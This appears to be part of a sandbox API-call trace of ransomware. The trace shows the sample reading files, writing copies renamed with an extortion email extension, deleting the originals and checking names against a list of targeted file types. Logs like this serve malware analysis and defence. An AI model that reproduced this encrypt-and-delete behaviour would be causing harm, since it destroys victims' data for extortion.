	[0096.772] WriteFile (in: hFile=0x2b8, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x5f40, lpOverlapped=0x0) returned 1
	[0096.773] ReadFile (in: hFile=0x338, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.773] WriteFile (in: hFile=0x2b8, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0096.773] SetEndOfFile (hFile=0x2b8) returned 1
	[0096.774] CloseHandle (hObject=0x2b8) returned 1
	[0096.774] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.774] SetEndOfFile (hFile=0x338) returned 1
	[0096.775] CloseHandle (hObject=0x338) returned 1
	[0096.775] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0096.775] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg")) returned 1
	[0096.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0096.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0096.775] lstrlenW (lpString=".doc") returned 4
	[0096.775] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0096.775] lstrlenW (lpString=".docx") returned 5
	[0096.775] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0096.775] lstrlenW (lpString=".pdf") returned 4
	[0096.775] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0096.775] lstrlenW (lpString=".xls") returned 4
	[0096.775] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0096.775] lstrlenW (lpString=".xlsx") returned 5
	[0096.775] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0096.775] lstrlenW (lpString=".ppt") returned 4
	[0096.775] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0096.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0096.775] lstrlenW (lpString=".zip") returned 4
	[0096.776] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0096.776] lstrlenW (lpString=".rar") returned 4
	[0096.776] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0096.776] lstrlenW (lpString=".bz2") returned 4
	[0096.776] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0096.776] lstrlenW (lpString=".7z") returned 3
	[0096.776] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0096.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0096.776] lstrlenW (lpString=".dbf") returned 4
	[0096.776] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0096.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0096.776] lstrlenW (lpString=".1cd") returned 4
	[0096.776] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0096.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0096.776] lstrlenW (lpString=".jpg") returned 4
	[0096.776] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0096.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0096.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0096.776] lstrlenW (lpString=".doc") returned 4
	[0096.776] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0096.776] lstrlenW (lpString=".docx") returned 5
	[0096.776] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0096.776] lstrlenW (lpString=".pdf") returned 4
	[0096.776] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0096.776] lstrlenW (lpString=".xls") returned 4
	[0096.776] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0096.776] lstrlenW (lpString=".xlsx") returned 5
	[0096.776] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0096.776] lstrlenW (lpString=".ppt") returned 4
	[0096.776] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0096.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0096.776] lstrlenW (lpString=".zip") returned 4
	[0096.776] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0096.776] lstrlenW (lpString=".rar") returned 4
	[0096.776] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0096.776] lstrlenW (lpString=".bz2") returned 4
	[0096.777] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0096.777] lstrlenW (lpString=".7z") returned 3
	[0096.777] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0096.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0096.777] lstrlenW (lpString=".dbf") returned 4
	[0096.777] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0096.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0096.777] lstrlenW (lpString=".1cd") returned 4
	[0096.777] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0096.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0096.777] lstrlenW (lpString=".jpg") returned 4
	[0096.777] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0096.777] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0096.777] lstrlenW (lpString="J0099148.JPG") returned 12
	[0096.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0096.777] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=18258) returned 1
	[0096.777] CloseHandle (hObject=0x338) returned 1
	[0096.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg")) returned 0x220
	[0096.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0096.778] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.778] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0096.781] GetLastError () returned 0x0
	[0096.781] ReadFile (in: hFile=0x338, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x4752, lpOverlapped=0x0) returned 1
	[0096.782] WriteFile (in: hFile=0x2b8, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x4760, lpOverlapped=0x0) returned 1
	[0096.783] ReadFile (in: hFile=0x338, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.783] WriteFile (in: hFile=0x2b8, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0096.783] SetEndOfFile (hFile=0x2b8) returned 1
	[0096.784] CloseHandle (hObject=0x2b8) returned 1
	[0096.784] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.784] SetEndOfFile (hFile=0x338) returned 1
	[0096.785] CloseHandle (hObject=0x338) returned 1
	[0096.785] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0096.785] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg")) returned 1
	[0096.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0096.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0096.785] lstrlenW (lpString=".doc") returned 4
	[0096.785] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0096.785] lstrlenW (lpString=".docx") returned 5
	[0096.785] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0096.785] lstrlenW (lpString=".pdf") returned 4
	[0096.785] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0096.785] lstrlenW (lpString=".xls") returned 4
	[0096.785] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0096.785] lstrlenW (lpString=".xlsx") returned 5
	[0096.785] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0096.785] lstrlenW (lpString=".ppt") returned 4
	[0096.785] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0096.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0096.785] lstrlenW (lpString=".zip") returned 4
	[0096.785] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0096.786] lstrlenW (lpString=".rar") returned 4
	[0096.786] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0096.786] lstrlenW (lpString=".bz2") returned 4
	[0096.786] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0096.786] lstrlenW (lpString=".7z") returned 3
	[0096.786] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0096.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0096.786] lstrlenW (lpString=".dbf") returned 4
	[0096.786] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0096.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0096.786] lstrlenW (lpString=".1cd") returned 4
	[0096.786] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0096.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0096.786] lstrlenW (lpString=".jpg") returned 4
	[0096.786] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0096.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0096.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0096.786] lstrlenW (lpString=".doc") returned 4
	[0096.786] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0096.786] lstrlenW (lpString=".docx") returned 5
	[0096.786] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0096.786] lstrlenW (lpString=".pdf") returned 4
	[0096.786] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0096.786] lstrlenW (lpString=".xls") returned 4
	[0096.786] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0096.786] lstrlenW (lpString=".xlsx") returned 5
	[0096.786] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0096.786] lstrlenW (lpString=".ppt") returned 4
	[0096.786] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0096.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0096.786] lstrlenW (lpString=".zip") returned 4
	[0096.786] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0096.786] lstrlenW (lpString=".rar") returned 4
	[0096.786] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0096.786] lstrlenW (lpString=".bz2") returned 4
	[0096.787] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0096.787] lstrlenW (lpString=".7z") returned 3
	[0096.787] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0096.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0096.787] lstrlenW (lpString=".dbf") returned 4
	[0096.787] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0096.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0096.787] lstrlenW (lpString=".1cd") returned 4
	[0096.787] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0096.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0096.787] lstrlenW (lpString=".jpg") returned 4
	[0096.787] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0096.787] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0096.787] lstrlenW (lpString="J0099149.WMF") returned 12
	[0096.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0096.787] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=73214) returned 1
	[0096.787] CloseHandle (hObject=0x338) returned 1
	[0096.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf")) returned 0x220
	[0096.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0096.788] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.788] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0096.788] GetLastError () returned 0x0
	[0096.788] ReadFile (in: hFile=0x338, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x11dfe, lpOverlapped=0x0) returned 1
	[0096.790] WriteFile (in: hFile=0x2b8, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x11e00, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11e00, lpOverlapped=0x0) returned 1
	[0096.795] ReadFile (in: hFile=0x338, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.795] WriteFile (in: hFile=0x2b8, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0096.795] SetEndOfFile (hFile=0x2b8) returned 1
	[0096.795] CloseHandle (hObject=0x2b8) returned 1
	[0096.795] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.795] SetEndOfFile (hFile=0x338) returned 1
	[0096.796] CloseHandle (hObject=0x338) returned 1
	[0096.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0096.797] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf")) returned 1
	[0096.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0096.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0096.797] lstrlenW (lpString=".doc") returned 4
	[0096.797] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.797] lstrlenW (lpString=".docx") returned 5
	[0096.797] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0096.797] lstrlenW (lpString=".pdf") returned 4
	[0096.797] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.797] lstrlenW (lpString=".xls") returned 4
	[0096.797] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.797] lstrlenW (lpString=".xlsx") returned 5
	[0096.797] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0096.797] lstrlenW (lpString=".ppt") returned 4
	[0096.797] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0096.797] lstrlenW (lpString=".zip") returned 4
	[0096.797] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.797] lstrlenW (lpString=".rar") returned 4
	[0096.797] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.797] lstrlenW (lpString=".bz2") returned 4
	[0096.797] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.797] lstrlenW (lpString=".7z") returned 3
	[0096.797] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0096.797] lstrlenW (lpString=".dbf") returned 4
	[0096.797] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0096.798] lstrlenW (lpString=".1cd") returned 4
	[0096.798] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0096.798] lstrlenW (lpString=".jpg") returned 4
	[0096.798] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0096.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0096.798] lstrlenW (lpString=".doc") returned 4
	[0096.798] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.798] lstrlenW (lpString=".docx") returned 5
	[0096.798] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0096.798] lstrlenW (lpString=".pdf") returned 4
	[0096.798] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.798] lstrlenW (lpString=".xls") returned 4
	[0096.798] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.798] lstrlenW (lpString=".xlsx") returned 5
	[0096.798] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0096.798] lstrlenW (lpString=".ppt") returned 4
	[0096.798] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0096.798] lstrlenW (lpString=".zip") returned 4
	[0096.798] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.798] lstrlenW (lpString=".rar") returned 4
	[0096.798] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.798] lstrlenW (lpString=".bz2") returned 4
	[0096.798] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.798] lstrlenW (lpString=".7z") returned 3
	[0096.798] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0096.798] lstrlenW (lpString=".dbf") returned 4
	[0096.798] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0096.798] lstrlenW (lpString=".1cd") returned 4
	[0096.798] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0096.799] lstrlenW (lpString=".jpg") returned 4
	[0096.799] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.799] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0096.799] lstrlenW (lpString="J0099150.JPG") returned 12
	[0096.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0097.101] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=21914) returned 1
	[0097.101] CloseHandle (hObject=0x368) returned 1
	[0097.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg")) returned 0x220
	[0097.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0097.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0097.190] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.190] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0097.191] GetLastError () returned 0x0
	[0097.191] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x559a, lpOverlapped=0x0) returned 1
